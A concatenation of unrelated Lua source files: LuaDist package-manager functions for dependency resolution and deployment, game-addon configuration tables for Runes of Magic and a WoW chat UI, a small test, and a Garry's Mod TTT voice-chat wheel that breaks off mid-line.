dists. function filterManifest(list, constraints) -- By default fetch dists if not provided list = list or getManifest() or {} -- Default constraints filter arch and type of dists constraints = constraints or { -- Architecture constraints arch = function(arch) if not arch or arch == "Universal" then return true end if cfg.binary and arch == cfg.arch then return true end return false end, -- Type constraints type = function(type) if not type or type == "all" then return true end if cfg.binary and type == cfg.type then return true end if cfg.source and type == "source" then return true end return false end } -- Check if we can continue. assert(type(list) == "table", "dist.filterManifest: Argument 'list' is not a table.") assert(type(constraints) == "table", "dist.filterManifest: Argument 'constraints' is not a table.") -- Matching dists local manifest = {} -- For each dist match constraints for i = 1, #list do local dist = list[i] local match = true -- Accumulate constraint checks for key, constraint in pairs(constraints) do match = match and constraint(dist[key]) end -- If all went ok if match then table.insert(manifest, dist) end end return manifest end --- Find dists in manifest by name. -- _findDists_ will find all dists in manifest that satisfy conditions in the name string. -- Name contains dist name to search for and a set of optional version constraints. For example -- searching for "lua-5.1.4" will find all dists of name "lua" and version "5.1.4". Searching for version -- ranges is done using sets of constraints eg. "luajit >= 2.0 < 3.0". For more information, limitations -- and use of the constraint system please see LuaDist documentation. -- -- @param name string: String specifying the dist to find, version constraints can be used. Case sensitive. -- @param manifest string: Dist manifest to search through. -- @return dist, log: List of matching dists. Returns nil on error and log message. function findDists(names, manifest) -- We can handle name lists and mane sring directly if type(names) == "string" then names = { names } end -- If manifest is missing we get it from configured repository manifest = manifest or filterManifest() or {} -- Check if we can continue assert(type(names) == "table", "dist.findDists: Argument 'names' is not a table or string.") assert(type(manifest) == "table", "dist.findDists: Argument 'manifest' is not a table.") if #names == 0 then return manifest end local dists = {} for i = 1, #names do local name = names[i] -- Split name to dist-name and constraints local name, constraints = dep.split(name) -- Escape special chars in name local match = "^" .. name:gsub("%.", "%%."):gsub("%-", "%%-"):gsub("%_", "%%_"):gsub("%*", ".*") .. "$" -- Filter manifest using custom constraints local list = filterManifest(manifest, { name = function(distName) return string.match(distName, match) end, version = function(distVer) return dep.constrain(distVer, constraints or "") end }) for j = 1, #list do table.insert(dists, list[j]) end end return dists end --- Small help function to get relevant names from info local function getInfoNames(tbl) local ret = {} tbl = tbl or {} for k,v in pairs(tbl) do if (type(v)=="string") then table.insert(ret, v) end end for k,v in pairs(tbl[cfg.arch] or {}) do if (type(v)=="string") then table.insert(ret, v) end end for k,v in pairs(tbl[cfg.type] or {}) do if (type(v)=="string") then table.insert(ret, v) end end return ret end --- Collect dependencies. -- _getDeps_ is the magic function where dependency resolving happens. -- This function handles multiple names for which it computes the best possible set of dists that satisfy -- all the names. It consideres provided dists, conflicts and dependencies of each candidate dist and avoids -- dependency loops. It may not be very elegant or efficient, contributions welcome. -- -- The algorithm relies on sequential satisfaction of names. For each name it tries to determine -- best possible candidate and tries to install its dependencies and rest of the names list. -- If dependencies fail another candidate is checked untill all names check out or candidates run out. -- Provides are faked by injecting dists into manifest and replaced before return. -- -- @param names string or table: Names to compute dependencies for. -- @param manifest table: Manifest of dists to select dependencies from, needs to be sorted. function getDeps(names, manifest) manifest = manifest or filterDists() if type(names) == "string" then names = { names } end -- Type Checks assert(type(names) == "table", "dist.getDeps: Argument 'names' is not a table or string.") assert(type(manifest)=="table", "dist.getDeps: Argument 'manifest' is not a table.") -- Check out first from the list and find its candidates local name = names[1] local candidates = findDists(name, manifest) -- For each candidate we check its suitability for i = 1, #candidates do local info = candidates[i] local infoName = info.name .. "-" .. info.version -- Add candidate dependencies to names -- Notice deps will be used according to arch and type if they are available local newNames = {} for _, entry in pairs(getInfoNames(info.depends)) do table.insert(newNames, entry) end for j = 2, #names do table.insert(newNames, names[j]) end -- Make new manifest with provided dists local newManifest = {} for _, entry in pairs(getInfoNames(info.provides)) do -- Construct a fake provided dist pointing to the provider local dist = {} dist.name, dist.version = dep.split(entry) dist.arch = info.arch dist.type = info.type dist.provided = info table.insert(newManifest, dist) end for j = 1, #manifest do table.insert(newManifest, manifest[j]) end -- Check dependencies first local dependencies = {} if #newNames > 0 then dependencies, err = getDeps(newNames, newManifest) if not dependencies then return nil, err end end -- If provided we skip tests as the providing dist will make sure of it if info.provided then if type(info.provided) == "table" then table.insert(dependencies, info.provided) end return dependencies end -- Skip rest if candidate is in deps for _, prov in pairs(dependencies) do local provName = prov.name .. "-" .. prov.version -- Check if already provided if info.name == prov.name then if info.version == prov.version then -- If provided by a dist checking its deps. return dependencies else -- Different version return nil, infoName .. " is blocked by " .. provName end end -- Check dependency constraints for _, entry in pairs(getInfoNames(prov.depends)) do local name, const = dep.split(entry) if info.name == name and (not const or not dep.constrain(info.version, const)) then return nil, infoName .. " is blocked by " .. provName .. " dependency " .. entry end end -- Indirect conflicts for _, entry in pairs(getInfoNames(prov.conflicts)) do local name, const = dep.split(entry) if info.name == name and (not const or not dep.constrain(info.version, const)) then return nil, infoName .. " is blocked by " .. provName .. " conflict " .. entry end end -- Direct conflicts for _, entry in pairs(getInfoNames(info.conflicts)) do local name, const = dep.split(entry) if prov.name == name and (not const or not dep.constrain(prov.version, const)) then return nil, infoName .. " is in conflict with " .. provName .. " conflict " .. entry end end end --- Candidate matches, add it to result table.insert(dependencies, info) return dependencies end return nil, "No suitable dists in repository for " .. name end --- Install dist by name. -- _install_ is capable to install dists from various sources and of both source and binary type. -- Sources can be accumulated into install lists in which case LuaDist will install the sources in sequence. -- Sources supported by the command currently include: name, path and URL to .dist and .zip, path to unpacked dist -- and dist.info table. -- -- @param name string: Package to install identified by name which can include version constraints. Case sensitive. -- @param deployment string: Deployment directory to install into. Leave undefined for current deployment directory. -- @param manifest table: Manifest of dists used to search for sources and resolve dependencies. Leave undefined for default repositories. -- @param variables table: Table of key value pairs that can be used to set additional CMake variables for source dists. -- @return ok, log: Returns true on success. nil on error and log message. function install(names, deployment, manifest, variables) -- Make sure deployment path is absolute and set deployment = sys.path(deployment or getDeployment()) -- Make sure we have a manifest to install dists from manifest = manifest or filterManifest() -- Default variables can be omitted so make sure we have a table variables = variables or {} -- Make sure names are always in a list if type(names) == "string" then names = { names } end -- Check types assert(type(names) == "table", "dist.install: Argument 'name' is not a string or table.") assert(type(deployment)=="string", "dist.install: Argument 'deployment' is not a string.") assert(type(manifest)=="table", "dist.install: Argument 'manifest' is not a table.") assert(type(variables)=="table", "dist.install: Argument 'variables' is not a table.") log.message("Computing dependencies.") -- Create custom manifest starting with deployed dists local manif = {} for _, depl in pairs(getDeployed(deployment) or {}) do table.insert(manif, depl) end for j = 1, #manifest do local dist = manifest[j] table.insert(manif, dist) end -- Compute dependencies local deps, err = getDeps(names, manif) if not deps then return nil, err end -- Fetch and deploy for i = 1, #deps do local ok, err = deploy(deps[i].path, deployment, variables) if not ok then return nil, err end end return true, "Install Successful." end --- Deploy a dist directly from source. -- _deploy_ will install; and in case of source dists, build a dist from source path. -- Deployment will automatically fetch from remote URLs and unpack dist or zip files into deploymemt. -- Variables can contain additional CMake variables to be used when building source dists. -- -- @param src string: Path to the dist directory to make/deploy or nil to use current directory. -- @param deployment string: Deployment directory to install the dist into. If nil LuaDist directory is used. -- @param variables table: Table of key value pairs that can be used to set additional CMake variables for source dists. -- @return ok, log: Returns true on success. nil on error and log message. function deploy(src, deployment, variables) -- Make sure deployment path is absolute and set deployment = sys.path(deployment or getDeployment()) -- Make sure deployment exists and create startup script sys.makeDir(deployment) -- Default variables can be omited so make sure we have a table variables = variables or {} -- Handle each source individually if a list is passed if type(src) == "table" then for i = 1, #src do local ok, err = deploy(src[i], deployment, variables) if not ok then return nil, err end end return true, "Install Successful" end -- By default build in current directory src = sys.path(src or sys.curDir()) assert(type(src)=="string", "dist.deploy: Argument 'src' is not a string.") assert(type(deployment)=="string", "dist.deploy: Argument 'deployment' is not a string.") assert(type(variables)=="table", "dist.deploy: Argument 'variables' is not a table.") -- Fetch if needed local tmp, err if not sys.isDir(src) then tmp, err = package.unpack(src) if not tmp then log.message("Could not fetch following dist: " .. src .. " (" .. err .. ")") return false, "Could not fetch following dist: " .. src .. " (" .. err .. ")" end -- Use the 1st subdirectory of the tmp src = sys.path(tmp, sys.dir(tmp)[1]) end -- Check dist info local info, err = persist.load(sys.path(src, "dist.info"), variables) if not info then return nil, "Dist does not contain valid dist.info in " .. src end -- We have a dist local infoName = info.name .. "-" .. info.version log.message("Processing " .. infoName) -- Check the package contents for CMakeLists.txt, that would mean the package is of type source. if sys.exists(sys.path(src, "CMakeLists.txt")) then info.arch = info.arch or "Universal" info.type = info.type or "source" end -- Check the architecture if its suitable for deployment. if info.arch ~= cfg.arch and info.arch ~= "Universal" then return nil, "Dist is of incompatible architecture " .. (info.arch or "NOT-SET") .. "-" .. (info.type or "NOT-SET") end -- Check the type if its suitable for deployment if info.type ~= cfg.type and info.type ~= "all" and info.type ~= "source" then return nil, "Dist is of incompatible architecture type " .. info.arch .. "-" .. info.type end -- If the dist is not source we simply deploy it. if info.type ~= "source" then local ok, err = package.deploy(src, deployment) -- Cleanup if not config.debug and tmp then sys.delete(tmp) end if not ok then return nil, "Failed to deploy package " .. src .. " to " .. deployment .. "." .. err end -- Display message if info.message then log.message(info.message) end return true, "Deployment Successful." end --- We have a source dist. log.message("Building ...") -- Setup variables by mergeing cfg.variables and variables local vars = {} for k,v in pairs(cfg.variables or {}) do vars[k] = v end for k, v in pairs(variables or {}) do vars[k] = v end -- Set CMake search paths for libs and headers to the deployment directory vars.CMAKE_INCLUDE_PATH = table.concat({ sys.path(vars.CMAKE_INCLUDE_PATH) or "", sys.path(deployment, "include")}, ";") vars.CMAKE_LIBRARY_PATH = table.concat({ sys.path(vars.CMAKE_LIBRARY_PATH) or "", sys.path(deployment, "lib"), sys.path(deployment, "bin")}, ";") vars.CMAKE_PROGRAM_PATH = table.concat({ sys.path(vars.CMAKE_PROGRAM_PATH) or "", sys.path(deployment, "bin")}, ";") -- Build and deploy the package local bin, err = package.build(src, deployment, vars) -- Cleanup if not config.debug and tmp then sys.delete(tmp) end if not bin then return nil, "Failed to build dist " .. infoName .. " error: " .. err end -- Display message if info.message then log.message(info.message) end return true, "Deployment Successful." end --- Remove a deployed dist. -- _remove_ will delete specified dist from deployment. -- When no name is specified, the whole deployment directory will be removed. -- WARNING: Calling "luadist remove" will instruct LuaDist to commit suicide. -- -- @param dist string or table: Dist name or info to uninstall. -- @param deployment string: Deployment directory to uninstall from, nil for default LuaDist directory. -- @return ok, log: Returns true on success. nil on error and log message. function remove(names, deployment) -- Make sure deployment path is absolute and set deployment = sys.path(deployment or getDeployment()) -- Make sure names are always in a table if type(names) == "string" then names = {names} end -- Check types assert(type(names) == "table" , "dist.remove: Argument 'names' is not a string or table.") assert(type(deployment) == "string", "dist.remove: Argument 'deployment' is not a string.") -- Find dists local dists = findDists(names, getInstalled(deployment)) if not dists then return nil, "Nothing to delete." end -- Delete the dists for _, dist in pairs(dists) do local ok = package.delete(dist.path, deployment) if not ok then return nil, "Could not remove dist " .. dist.name .. "-" .. dist.version end end return true, "Remove Successful." end --- Pack a deployed dist. -- _pack_ will pack specified dist from deployment deployment and generate .dist archives in dest. -- When no name is specified all dists will be packed. -- -- @param dist string or table: Dist name or info to uninstall. -- @param deployment string: Deployment directory to uninstall from, nil for default LuaDist directory. -- @param dest string: Optional destination for the result -- @return ok, log: Returns true on success. nil on error and log message. function pack(names, deployment, dest) -- Make sure deployment path is absolute and set deployment = sys.path(deployment or getDeployment()) -- Make sure names are always in a table if type(names) == "string" then names = {names} end -- Check types assert(type(names) == "table" , "dist.pack: Argument 'names' is not a string or table.") assert(type(deployment) == "string", "dist.pack: Argument 'deployment' is not a string.") -- Find dists local dists = findDists(names, getInstalled(deployment)) if not dists then return nil, "Nothing to pack." end -- Pack the dists for _, dist in pairs(dists) do local ok, err = package.pack(dist.path, deployment, dest) if not ok then return nil, "Failed to pack dist " .. dist.name .. "-" .. dist.version end end return true, "Pack Successful." end --- Get deployment directory. -- @return path: Full path to the LuaDist install directory function getDeployment() return cfg.root end
--[[ ä Name: Advanced Questbook By: Crypton ]] if (AQB_MAP_NAMES == nil) then AQB_MAP_NAMES = { [1] = TEXT("ZONE_WAILING MOUNTAINS"), [2] = TEXT("ZONE_SILVERSPRING"), [3] = TEXT("ZONE_RAVENFELL"), [4] = TEXT("ZONE_ASLAN"), [5] = TEXT("ZONE_HYBORA HIGHLANDS"), [6] = TEXT("ZONE_DUSTBLOOM CANYON"), [7] = TEXT("ZONE_WEEPING COAST"), [8] = TEXT("ZONE_SAVAGE LANDS"), [9] = TEXT("ZONE_MOUNT AL TURAJ"), [10] = TEXT("ZONE_SASCILIA STEPPES"), [11] = TEXT("ZONE_DRAGONFANG RIDGE"), [12] = TEXT("ZONE_ELVEN CITADEL"), [13] = TEXT("ZONE_Z13_PELICO_COAST"), [14] = TEXT("ZONE_Z14_XAVIERA"), [15] = TEXT("ZONE_THUNDERHOOF_MESA"), [16] = TEXT("ZONE_SOUTHERN_JANOST_FOREST"), [17] = TEXT("ZONE_NORTHERN_JANOST_FOREST"), [18] = TEXT("ZONE_LYMOR_DESERT"), [19] = TEXT("ZONE_SINISTER_LANDS"), [20] = TEXT("ZONE_Z20_RED_HILLS"), [100] = TEXT("ZONE_TUTORIAL"), [101] = TEXT("ZONE_DGN_CAVERN_OF_TRIALS"), [102] = TEXT("ZONE_ALL_INSTANCE"), [103] = TEXT("ZONE_THE RELIQUARY OF REFLECTIONS"), [104] = TEXT("ZONE_MYSTIC ALTAR"), [105] = TEXT("ZONE_DGN_KALTUROK_QUEEN_CHAMBER"), [106] = TEXT("ZONE_BORSBURS"), [107] = TEXT("ZONE_DGN_KLEEON_TEMPLE"), [108] = TEXT("ZONE_DGN_THE_TREASURE_TROVE"), [110] = TEXT("ZONE_THE WRETCHED GROTTO"), [113] = TEXT("ZONE_DGN_MULGRUM_RELIC"), [114] = TEXT("ZONE_DGN_MULGRUM_RELIC"), [115] = TEXT("ZONE_DGN_ECHOES_OF_THE_SEA"), [116] = TEXT("ZONE_DGN_THE_ORIGIN"), [117] = TEXT("ZONE_DGN_HALL_OF_SURVIVORS"), [118] = TEXT("ZONE_DGN_MOONSPRING_HOLLOW"), [119] = TEXT("ZONE_DRAGONS NEST"), [120] = TEXT("ZONE_DGN_NAGA_ACROPOLIS_ZURHIDON"), [122] = TEXT("ZONE_DGN_DRAGONS_NEST"), [201] = TEXT("ZONE_TILEDGN_BLOODY_GALLERY"), [202] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_01"), [203] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_02"), [204] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_03"), [205] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_01"), [206] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_02"), [207] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_03"), [250] = TEXT("ZONE_TILEDGN_WINDMILL_BASEMENT"), [251] = TEXT("ZONE_TILEDGN_LASKOTAR_ARCANE_CHAMBER"), [252] = TEXT("ZONE_TILEDGN_CITADEL_AGRIZA"), [301] = TEXT("ZONE_EVENTDGN_MYCONID_FARM"), [302] = TEXT("ZONE_EVENTDGN_WIND_WILD_ANIMUS"), [303] = TEXT("ZONE_EVENTDGN_WEDDING_HALL"), [350] = TEXT("ZONE_EVENTDGN_RACETRACK_01"), [352] = TEXT("ZONE_EVENTDGN_GOBLIN_MINES"), [400] = TEXT("ZONE_DEFAULT"), [401] = TEXT("ZONE_HOUSE_GUILD_001"), [410] = TEXT("ZONE_BG_COLISEUM_1V1_001"), [411] = TEXT("ZONE_BG_COLISEUM_6V6_001"), [430] = TEXT("ZONE_BG_COLISEUM_3V3_001"), [431] = TEXT("ZONE_BG_CTF_001"), [432] = TEXT("ZONE_BG_TOWER_DEFENSE_001"), [440] = TEXT("ZONE_BG_COLISEUM_1V1_001"), [441] = TEXT("ZONE_EVENTDGN_RACETRACK_01"), [442] = TEXT("ZONE_BG_COLISEUM_3V3_001"), [443] = TEXT("ZONE_BG_COLISEUM_6V6_001"), [444] = TEXT("ZONE_BG_CTF_001"), [445] = TEXT("ZONE_BG_TOWER_DEFENSE_001"), [9999] = TEXT("ZONE_YGGNO LAND"), [10000] = TEXT("ZONE_VARANAS"), [10001] = TEXT("ZONE_OBSIDIAN BASTION"), }; end
function WL2.init() local frame = CreateFrame("FRAME", WL2.ADDON_NAME .. "_Frame") for eventName in pairs(WL2.eventHandlers) do frame:RegisterEvent(eventName) end frame:SetScript("OnEvent", function(self, evt, ...) local handler = WL2.eventHandlers[evt] if not handler then return end handler({ ... }) end) end WL2.init()
dofile("test_setup.lua") local file1 = [=[ return { data = false } ]=] local t = DoFileString(file1) assert(t.data == false) t.data = true ReloadFileString(file1) assert(t.data == true)
local KUI, E, L, V, P, G = unpack(select(2, ...)) local KC = KUI:GetModule("KuiChat") local CH = E:GetModule("Chat") local function ChatTable() E.Options.args.KlixUI.args.modules.args.chat = { order = 7, type = 'group', name = L['Chat'], args = { name = { order = 1, type = "header", name = KUI:cOption(L['Chat']), }, credits = { order = 2, type = "group", name = L["Credits"], guiInline = true, args = { tukui = { order = 1, type = "description", fontSize = "medium", name = format("|cff00b3ffBlazeflack - CodeNameBlaze|r & |cff9482c9Shadow&Light - Darth Predator|r"), }, }, }, general = { order = 3, type = "group", name = L["Voice Menu"], guiInline = true, args = { voicemenu = { order = 1, type = "toggle", name = L["Voice Menu"], desc = L["Enables the Voice Menu Bar.\n|cffff8000Note: The Voice Menu Bar is by default hidden and needs to be toggled through the chat button 'v'.|r"], get = function(info) return E.db.KlixUI.chat[ info[#info] ] end, set = function(info, value) E.db.KlixUI.chat[ info[#info] ] = value; E:StaticPopup_Show("PRIVATE_RL"); end, }, socialbutton = { order = 2, type = "toggle", name = L["Social Button"], desc = L["Enables the Social Button at the Voice Menu Bar.\n|cffff8000Note: The Social Button is tied to the Voice Menu Bar which is by default hidden and needs to be toggled through the chat button 'v'.|r"], disabled = function() return not E.db.KlixUI.chat.voicemenu end, get = function(info) return E.db.KlixUI.chat[ info[#info] ] end, set = function(info, value) E.db.KlixUI.chat[ info[#info] ] = value; E:StaticPopup_Show("PRIVATE_RL"); end, }, }, }, chattabs = { order = 4, type = 'group', name = L['Chat Tabs'], guiInline = true, args = { select = { order = 1, type = "toggle", name = L["Selected Indicator"], desc = L["Shows you which of your docked chat tabs which is currently selected."], get = function(info) return E.db.KlixUI.chat[ info[#info] ] end, set = function(info, value) E.db.KlixUI.chat[ info[#info] ] = value; KC:SetSelectedTab(true) end, }, styleTab = { order = 2, type = "select", name = L["Style"], values = { ["DEFAULT"] = "|cff0CD809>|r "..NAME.." |cff0CD809<|r", ["SQUARE"] = "|cff0CD809[|r "..NAME.." |cff0CD809]|r", ["BEND"] = "|cff0CD809(|r "..NAME.." |cff0CD809)|r", ["HALFDEFAULT"] = "|cff0CD809>|r "..NAME, ["CHECKBOX"] = [[|TInterface\ACHIEVEMENTFRAME\UI-Achievement-Criteria-Check:26|t]]..NAME, ["ARROWRIGHT"] = [[|TInterface\BUTTONS\UI-SpellbookIcon-NextPage-Up:26|t]]..NAME, ["ARROWDOWN"] = [[|TInterface\BUTTONS\UI-MicroStream-Green:26|t]]..NAME, }, disabled = function() return not E.db.KlixUI.chat.select end, get = function(info) return E.db.KlixUI.chat[ info[#info] ] end, set = function(info, value) E.db.KlixUI.chat[ info[#info] ] = value; KC:SetSelectedTab(true) end, }, colorTab = { type = 'color', order = 3, name = COLOR, hasAlpha = false, disabled = function() return not E.db.KlixUI.chat.select or not (E.db.KlixUI.chat.styleTab == "DEFAULT" or E.db.KlixUI.chat.styleTab == "SQUARE" or E.db.KlixUI.chat.styleTab == "BEND" or E.db.KlixUI.chat.styleTab == "HALFDEFAULT") end, get = function(info) local t = E.db.KlixUI.chat[ info[#info] ] local d = P.KlixUI.chat[info[#info]] return t.r, t.g, t.b, d.r, d.g, d.b end, set = function(info, r, g, b) E.db.KlixUI.chat[ info[#info] ] = {} local t = E.db.KlixUI.chat[ info[#info] ] t.r, t.g, t.b = r, g, b KC:SetSelectedTab(true) end, }, fade = { order = 4, type = 'toggle', name = L['Fade Chat Tabs'], desc = L['Fade out chat tabs except the currently selected chat tab.'], disabled = function() return not E.db.KlixUI.chat.select end, get = function(info) return E.db.KlixUI.chat.fadeChatTabs end, set = function(info, value) E.db.KlixUI.chat.fadeChatTabs = value; KC:SetSelectedTab(); end, }, fadeAlpha = { order = 5, type = 'range', name = L['Chat Tab Alpha'], desc = L['Alpha of faded chat tabs.'], min = 0, max = 1, step = 0.05, disabled = function() return not E.db.KlixUI.chat.select or not E.db.KlixUI.chat.fadeChatTabs end, get = function(info) return E.db.KlixUI.chat.fadedChatTabAlpha end, set = function(info, value) E.db.KlixUI.chat.fadedChatTabAlpha = value; KC:SetSelectedTab(); end, }, spacer = { order = 6, type = 'description', name = '', }, forceShow = { order = 7, type = 'toggle', name = L['Force to Show'], desc = L['Force a tab to show when it is flashing. This works both for when chat panel backdrop is hidden and when chat tab is faded.'], disabled = function() return not E.db.KlixUI.chat.select end, get = function(info) return E.db.KlixUI.chat.forceShow end, set = function(info, value) E.db.KlixUI.chat.forceShow = value; KC:SetSelectedTab(); end, }, forceShowBelowAlpha = { order = 8, type = 'range', name = L['Force Show Threshold'], desc = L['Threshold before a faded chat tab is forced to show. If a faded chat tab alpha is less than or equal to this value then it will be forced to show.'], min = 0, max = 1, step = 0.05, disabled = function() return not E.db.KlixUI.chat.select or not E.db.KlixUI.chat.forceShow end, get = function(info) return E.db.KlixUI.chat.forceShowBelowAlpha end, set = function(info, value) E.db.KlixUI.chat.forceShowBelowAlpha = value; end, }, forceShowToAlpha = { order = 9, type = 'range', name = L['Force Show Alpha'], desc = L['Alpha of a chat tab when it is forced to show.'], min = 0, max = 1, step = 0.05, disabled = function() return not E.db.KlixUI.chat.select or not E.db.KlixUI.chat.forceShow end, get = function(info) return E.db.KlixUI.chat.forceShowToAlpha end, set = function(info, value) E.db.KlixUI.chat.forceShowToAlpha = value; end, }, }, }, separators = { order = 4, type = "group", name = L["Chat Separators"]..E.NewSign, guiInline = true, args = { chatTabSeparator = { order = 1, type = "select", name = L["Chat Tab Separators"], desc = L["Add a thin black line below chat tabs to separate them from chat messages."], get = function(info) return E.db.KlixUI.chat.chatTabSeparator end, set = function(info, value) E.db.KlixUI.chat.chatTabSeparator = value; KUI:GetModule('KuiLayout'):ToggleChatSeparators(); end, values = { ['HIDEBOTH'] = L['Hide Both'], ['SHOWBOTH'] = L['Show Both'], ['LEFTONLY'] = L['Left Only'], ['RIGHTONLY'] = L['Right Only'], }, }, chatDataSeparator = { order = 2, type = "select", name = L["Chat Datatext Separators"], desc = L["Add a thin black line above chat datatexts to separate them from chat messages."], disabled = function() return E.db.KlixUI.datatexts.chat.enable end, get = function(info) return E.db.KlixUI.chat.chatDataSeparator end, set = function(info, value) E.db.KlixUI.chat.chatDataSeparator = value; KUI:GetModule('KuiLayout'):ToggleChatSeparators(); end, values = { ['HIDEBOTH'] = L['Hide Both'], ['SHOWBOTH'] = L['Show Both'], ['LEFTONLY'] = L['Left Only'], ['RIGHTONLY'] = L['Right Only'], }, }, }, }, }, } end tinsert(KUI.Config, ChatTable)
-- Beep boop stuff. include("cl_hud.lua") include("arc.lua") -- Actual code. AzWheel.Wheel = { Radius = 256 + 32, Thickness = 128, TumblerSize = 32, BorderSize = 8, ReactionTreshold = 0.675, DrawingArcSteps = 16, SegmentThickness = 64, Segments = {} } local function defaultChatterDisabled() return CurTime() - (AzWheel.LastChatter or 0) < 3; end --[[ HELP ]]-- table.insert(AzWheel.Wheel.Segments, { Icon = nil, Name = "tttwheel.seg.help", Description = "tttwheel.seg.help.desc", Call = function() local sounds = { "vo\\npc\\male01\\help01.wav" } local rnd = table.Random(sounds); AzWheel:PlaySound(rnd, 100); RunConsoleCommand("ttt_radio", "help"); end, Disabled = defaultChatterDisabled }); --[[ DISAGREE ]]-- table.insert(AzWheel.Wheel.Segments, { Icon = nil, Name = "tttwheel.seg.disagree", Description = "tttwheel.seg.disagree.desc", Call = function() local sounds = { "vo\\npc\\male01\\no01.wav", "vo\\npc\\male01\\ohno.wav", } local rnd = table.Random(sounds); AzWheel:PlaySound(rnd); RunConsoleCommand("ttt_radio", "no"); end, Disabled = defaultChatterDisabled }); --[[ EXCUSE ]]-- table.insert(AzWheel.Wheel.Segments, { Icon = nil, Name = "tttwheel.seg.excuse", Description = "tttwheel.seg.excuse.desc", Call = function() local sounds = { "vo\\npc\\male01\\excuseme01.wav", "vo\\npc\\male01\\excuseme02.wav", "vo\\npc\\male01\\pardonme01.wav", "vo\\npc\\male01\\pardonme02.wav" } local rnd = table.Random(sounds); AzWheel:PlaySound(rnd); end, Disabled = defaultChatterDisabled }); --[[ AGREE ]]-- table.insert(AzWheel.Wheel.Segments, { Icon = nil, Name = "tttwheel.seg.agree", Description = "tttwheel.seg.agree.desc", Call = function() local sounds = { "vo\\npc\\male01\\ok01.wav", "vo\\npc\\male01\\ok02.wav", "vo\\npc\\male01\\yeah02.wav", } local rnd = table.Random(sounds); AzWheel:PlaySound(rnd); RunConsoleCommand("ttt_radio", "yes"); end, Disabled = defaultChatterDisabled }); --[[ RUN ]]-- table.insert(AzWheel.Wheel.Segments, { Icon = nil, Name = "tttwheel.seg.run", Description = "tttwheel.seg.run.desc", Call = function() local sounds = { "vo\\npc\\male01\\takecover02.wav", "vo\\npc\\male01\\strider_run.wav", "vo\\npc\\male01\\runforyourlife01.wav", "vo\\npc\\male01\\gethellout.wav" } local rnd = table.Random(sounds); AzWheel:PlaySound(rnd, 100); end, Disabled = defaultChatterDisabled }); --[[ GREETINGS ]]-- table.insert(AzWheel.Wheel.Segments, { Icon = nil, Name = "tttwheel.seg.greet", Description = "tttwheel.seg.greet.desc", Call = function() local sounds = { "vo\\npc\\male01\\hi01.wav", "vo\\npc\\male01\\hi02.wav", } local rnd = table.Random(sounds); AzWheel:PlaySound(rnd); end, Disabled = defaultChatterDisabled }); --[[ DROP WEAPON ]]-- table.insert(AzWheel.Wheel.Segments, { Icon = nil, Name = "tttwheel.seg.empty", Description = "", Call = function() end }); table.insert(AzWheel.Wheel.Segments, { Icon = nil, Name = "tttwheel.seg.chatter", Description = "tttwheel.seg.chatter.desc", Call = function() local sounds = { "vo\\npc\\male01\\answer38.wav", "vo\\npc\\male01\\busy02.wav", "vo\\npc\\male01\\fantastic01.wav", "vo\\npc\\male01\\fantastic02.wav", "vo\\npc\\male01\\goodgod.wav", "vo\\npc\\male01\\moan01.wav", "vo\\npc\\male01\\nice.wav", "vo\\npc\\male01\\notthemanithought01.wav", "vo\\npc\\male01\\notthemanithought02.wav", "vo\\npc\\male01\\oneforme.wav", "vo\\npc\\male01\\question01.wav", "vo\\npc\\male01\\question02.wav", "vo\\npc\\male01\\question03.wav", "vo\\npc\\male01\\question04.wav", "vo\\npc\\male01\\question05.wav", "vo\\npc\\male01\\question06.wav", "vo\\npc\\male01\\question07.wav", "vo\\npc\\male01\\question08.wav", "vo\\npc\\male01\\question09.wav", "vo\\npc\\male01\\question10.wav", "vo\\npc\\male01\\question11.wav", "vo\\npc\\male01\\question12.wav", "vo\\npc\\male01\\question13.wav", "vo\\npc\\male01\\question14.wav", "vo\\npc\\male01\\question15.wav", "vo\\npc\\male01\\question16.wav", "vo\\npc\\male01\\question17.wav", "vo\\npc\\male01\\question18.wav", "vo\\npc\\male01\\question19.wav", "vo\\npc\\male01\\question21.wav", "vo\\npc\\male01\\question22.wav", "vo\\npc\\male01\\question23.wav", "vo\\npc\\male01\\question24.wav", "vo\\npc\\male01\\question25.wav", "vo\\npc\\male01\\question26.wav", "vo\\npc\\male01\\question27.wav", "vo\\npc\\male01\\question28.wav", "vo\\npc\\male01\\question29.wav", "vo\\npc\\male01\\question30.wav", "vo\\npc\\male01\\question31.wav", "vo\\npc\\male01\\vanswer01.wav", "vo\\npc\\male01\\vanswer02.wav", "vo\\npc\\male01\\vanswer03.wav", "vo\\npc\\male01\\vanswer04.wav", "vo\\npc\\male01\\vanswer05.wav", "vo\\npc\\male01\\vanswer06.wav", "vo\\npc\\male01\\vanswer07.wav", "vo\\npc\\male01\\vanswer08.wav", "vo\\npc\\male01\\vanswer09.wav", "vo\\npc\\male01\\vanswer10.wav", "vo\\npc\\male01\\vanswer11.wav", "vo\\npc\\male01\\vanswer12.wav", "vo\\npc\\male01\\vanswer13.wav", "vo\\npc\\male01\\vanswer14.wav", "vo\\npc\\male01\\vquestion01.wav", "vo\\npc\\male01\\vquestion02.wav", "vo\\npc\\male01\\vquestion03.wav", "vo\\npc\\male01\\vquestion04.wav", "vo\\npc\\male01\\vquestion05.wav", "vo\\npc\\male01\\vquestion06.wav", "vo\\npc\\male01\\vquestion07.wav" } local rnd = table.Random(sounds); AzWheel:PlaySound(rnd); end, Disabled = defaultChatterDisabled }); AzWheel.Mouse = {} function AzWheel:PlaySound(snd, lvl) self.LastChatter = CurTime(); net.Start("AzWheel PlaySound"); net.WriteString(snd); net.WriteInt(lvl || 75, 8); net.SendToServer(); end function AzWheel:IsVisible() return self.Visible end function AzWheel.Show() local self = AzWheel; self.Mouse.RawXY = Vector(0, 0); self.Visible = true; self.TimeOpened = CurTime(); -- Stop propagation return false; end local ang_distance = function(x, y) return (x - y + 180) % 360 - 180; end function AzWheel:IsSegmentDisabled(seg) if (seg.Disabled == null) then return false; elseif (type(seg.Disabled) == "boolean") then return seg.Disabled; elseif (type(seg.Disabled) == "function") then return seg.Disabled() else return false; end end function AzWheel.Hide(self, noexec) local self = AzWheel; if (!self.Visible) then return end; self.Visible = false; self.TimeClosed = CurTime(); if (noexec) then return end; -- Determine which segment cursor was above. local full_segsize = 360 / table.Count(self.Wheel.Segments); local segsize = full_segsize * 0.9; local spacing = (full_segsize - segsize) 